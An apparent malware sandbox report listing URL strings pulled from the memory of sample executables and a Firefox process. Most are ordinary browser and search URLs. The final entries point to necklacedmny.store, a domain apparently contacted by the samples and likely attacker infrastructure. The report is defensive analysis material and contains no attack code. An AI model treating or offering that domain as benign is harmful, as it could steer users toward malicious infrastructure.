Source: firefox.exe, 0000001A.00000003.2835306772.0000025E42431000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2833374978.0000025E4240F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2836337904.0000025E42452000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2832408126.0000025E42200000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/
Source: file.exe, 00000000.00000003.2159437631.000000000530A000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 00000009.00000003.2649907630.0000000005721000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 00000009.00000003.2649658911.0000000005721000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 00000009.00000003.2649533430.0000000005724000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 0000000C.00000003.2798475825.00000000061FA000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 0000000C.00000003.2798265490.00000000062C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: firefox.exe, 0000002E.00000003.3056553256.0000020F30A15000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/settings/clients
Source: firefox.exe, 0000002E.00000003.3056553256.0000020F30A15000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.comlogowordmark.alwaysVisiblenewNewtabExperience.colorsextensions.pocket.en
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/language-tools/
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search-users/
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search?q=%TERMS%&platform=%OS%&appver=%VERSION%
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/themes
Source: firefox.exe, 0000002E.00000003.3056553256.0000020F30A1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3056553256.0000020F30A1A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3056553256.0000020F30A1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ads.stickyadstv.com/firefox-etp
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://api.accounts.firefox.com/v1
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/app/firefox-private-safe-browser/id989804926
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/us/app/firefox-private-network-vpn/id1489407738
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/GMP/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%OS_VER
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/SystemAddons/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/%blockID%.html
Source: file.exe, 00000000.00000003.2193594882.00000000052D4000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 00000009.00000003.2693716552.00000000056ED000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 00000009.00000003.2693541904.00000000056EC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2932128135.00000121573CB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.2932095953.0000029B41CC7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: file.exe, 00000000.00000003.2193594882.00000000052D4000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 00000009.00000003.2693716552.00000000056ED000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 00000009.00000003.2693541904.00000000056EC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2932128135.00000121573CB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.2932095953.0000029B41CC7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: firefox.exe, 0000002E.00000003.2988145468.0000020F2F7E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1238180D
Source: firefox.exe, 0000002E.00000003.2981399452.0000020F2FD43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1403293
Source: file.exe, 00000000.00000003.2159437631.000000000530A000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 00000009.00000003.2649907630.0000000005721000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 00000009.00000003.2649658911.0000000005721000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 00000009.00000003.2649533430.0000000005724000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 0000000C.00000003.2798475825.00000000061FA000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 0000000C.00000003.2798265490.00000000062C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2159437631.000000000530A000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 00000009.00000003.2649907630.0000000005721000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 00000009.00000003.2649658911.0000000005721000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 00000009.00000003.2649533430.0000000005724000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 0000000C.00000003.2798475825.00000000061FA000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 0000000C.00000003.2798265490.00000000062C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2159437631.000000000530A000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 00000009.00000003.2649907630.0000000005721000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 00000009.00000003.2649658911.0000000005721000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 00000009.00000003.2649533430.0000000005724000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 0000000C.00000003.2798475825.00000000061FA000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 0000000C.00000003.2798265490.00000000062C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f
Source: firefox.exe, 0000001A.00000003.2835306772.0000025E42431000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2833374978.0000025E4240F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2836337904.0000025E42452000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2832408126.0000025E42200000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3056553256.0000020F30A15000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://completion.amazon.com/search/complete?q=
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://content.cdn.mozilla.net
Source: file.exe, 00000000.00000003.2193594882.00000000052D4000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 00000009.00000003.2693716552.00000000056ED000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 00000009.00000003.2693541904.00000000056EC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2932128135.00000121573CB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.2932095953.0000029B41CC7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: file.exe, 00000000.00000003.2193594882.00000000052D4000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 00000009.00000003.2693716552.00000000056ED000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 00000009.00000003.2693541904.00000000056EC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2932128135.00000121573CB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.2932095953.0000029B41CC7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/v1/tiles
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://coverage.mozilla.org
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://crash-stats.mozilla.org/report/index/
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://dap-02.api.divviup.org
Source: firefox.exe, 0000002E.00000003.3006812484.0000020F30DC3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.2979347381.0000020F2CA33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3010408169.0000020F30DC3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinations
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developers.google.com/safe-browsing/v4/advisory
Source: b76bb5cee7.exe, 0000000A.00000003.2721535335.00000000050CB000.00000004.00001000.00020000.00000000.sdmp, b76bb5cee7.exe, 0000000A.00000002.2766160676.0000000000ACC000.00000040.00000001.01000000.0000000F.sdmp, b76bb5cee7.exe, 0000001D.00000002.2961232929.0000000000ACC000.00000040.00000001.01000000.0000000F.sdmp, b76bb5cee7.exe, 0000001D.00000003.2862123172.000000000524B000.00000004.00001000.00020000.00000000.sdmp, num.exe, 0000001F.00000002.2875624155.00000000002CC000.00000008.00000001.01000000.00000018.sdmp, num.exe, 00000030.00000000.3003390032.00000000002CC000.00000008.00000001.01000000.00000018.sdmp, num[1].exe.5.dr, num.exe.5.dr	String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support
Source: firefox.exe, 0000002E.00000003.2981399452.0000020F2FD43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drafts.csswg.org/css-lists-3/#ua-stylesheet
Source: firefox.exe, 0000001A.00000003.2835306772.0000025E42431000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2833374978.0000025E4240F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2836337904.0000025E42452000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2900846239.0000025E4238C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2832408126.0000025E42200000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/
Source: file.exe, 00000000.00000003.2159437631.000000000530A000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 00000009.00000003.2649907630.0000000005721000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 00000009.00000003.2649658911.0000000005721000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 00000009.00000003.2649533430.0000000005724000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 0000000C.00000003.2798475825.00000000061FA000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 0000000C.00000003.2798265490.00000000062C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2159437631.000000000530A000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 00000009.00000003.2649907630.0000000005721000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 00000009.00000003.2649658911.0000000005721000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 00000009.00000003.2649533430.0000000005724000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 0000000C.00000003.2798475825.00000000061FA000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 0000000C.00000003.2798265490.00000000062C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2159437631.000000000530A000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 00000009.00000003.2649907630.0000000005721000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 00000009.00000003.2649658911.0000000005721000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 00000009.00000003.2649533430.0000000005724000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 0000000C.00000003.2798475825.00000000061FA000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 0000000C.00000003.2798265490.00000000062C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: firefox.exe, 0000002E.00000003.3061422895.0000020F386FD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/673d2808-e5d8-41b9-957
Source: firefox.exe, 0000002E.00000003.3060467793.0000020F3AC5B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/706c7a85-cf23-442e-8a9
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/networking/dns/trr-skip-reasons.html#
Source: firefox.exe, 0000002E.00000003.3056553256.0000020F30A15000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 0000002E.00000003.3056553256.0000020F30A15000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com/browser?utm_source=firefox-desktop&utm_medium=referral&utm_campaign=about-pr
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ftp.mozilla.org/pub/labs/devtools/adb-extension/#OS#/adb-extension-latest-#OS#.xpi
Source: firefox.exe, 0000002E.00000003.3056553256.0000020F30A1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tab
Source: firefox.exe, 0000002E.00000003.3056553256.0000020F30A1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tabresource://activity-stream/lib/ActivityStreamMe
Source: firefox.exe, 0000002E.00000003.3056553256.0000020F30A15000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_moreresource://gre/modules/XPCOMUtils.sys.mjs
Source: firefox.exe, 0000002E.00000003.3056553256.0000020F30A15000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_moreresource://gre/modules/XPCOMUtils.sys.mjschrome://gl
Source: firefox.exe, 0000002E.00000003.3053774318.0000020F382CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query-all.ts
Source: firefox.exe, 0000002E.00000003.3053774318.0000020F382CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query.ts
Source: firefox.exe, 0000001A.00000003.2835306772.0000025E42431000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2833374978.0000025E4240F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2832408126.0000025E42200000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshots
Source: firefox.exe, 0000002E.00000003.2981399452.0000020F2FD43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/issues/1072
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://helper1.dap.cloudflareresearch.com/v02
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ideas.mozilla.org/
Source: firefox.exe, 0000002E.00000003.3056553256.0000020F30A15000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://img-getpocket.cdn.mozilla.net/
Source: firefox.exe, 0000002E.00000003.3056553256.0000020F30A15000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://img-getpocket.cdn.mozilla.net/discoverystream.personalization.enabledresource://nimbus/Exper
Source: firefox.exe, 00000021.00000002.2932095953.0000029B41CC7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://install.mozilla.org
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%
Source: firefox.exe, 0000001C.00000002.2932128135.0000012157372000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.2932095953.0000029B41C86000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3056553256.0000020F30A1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3022867414.0000020F30AE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest
Source: firefox.exe, 0000002E.00000003.3022867414.0000020F30AE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggestPreferences/this._firefoxSuggestScenarioStartupPro
Source: firefox.exe, 0000002E.00000003.3056553256.0000020F30A1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggestresource://gre/modules/translation/LanguageDetecto
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mitmdetection.services.mozilla.com/
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/about
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/breach-details/
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/breach-stats?includeResolved=true
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/dashboard
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/preferences
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla-ohttp-fakespot.fastly-edge.com/
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla.cloudflare-dns.com/dns-query
Source: firefox.exe, 0000002E.00000003.2988145468.0000020F2F7E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mozilla.org/
Source: efe6fe4127.exe, 0000000C.00000003.2839354396.0000000001A59000.00000004.00000020.00020000.00000000.sdmp, efe6fe4127.exe, 0000000C.00000003.2895550351.0000000001A5B000.00000004.00000020.00020000.00000000.sdmp, efe6fe4127.exe, 0000000C.00000003.2822426933.0000000001A56000.00000004.00000020.00020000.00000000.sdmp, efe6fe4127.exe, 0000000C.00000003.2932514636.0000000001A71000.00000004.00000020.00020000.00000000.sdmp, efe6fe4127.exe, 0000000C.00000003.2937020002.00000000062C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/
Source: file.exe, 00000000.00000003.2232447339.0000000000A7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/3
Source: efe6fe4127.exe, 0000000C.00000003.2922319367.0000000001A75000.00000004.00000020.00020000.00000000.sdmp, efe6fe4127.exe, 0000000C.00000003.2922893958.0000000001A77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/6
Source: efe6fe4127.exe, 0000000C.00000003.2822426933.0000000001A56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/G
Source: efe6fe4127.exe, 00000009.00000003.2713360207.0000000000B80000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/JV
Source: file.exe, 00000000.00000003.2336454706.0000000000A7D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2221874778.0000000000A7D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2336129230.0000000000A75000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/K
Source: file.exe, 00000000.00000003.2336454706.0000000000A7D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2336129230.0000000000A75000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/S
Source: file.exe, 00000000.00000003.2173560257.00000000052D0000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2174004545.00000000052D4000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2174156627.00000000052D6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/Y
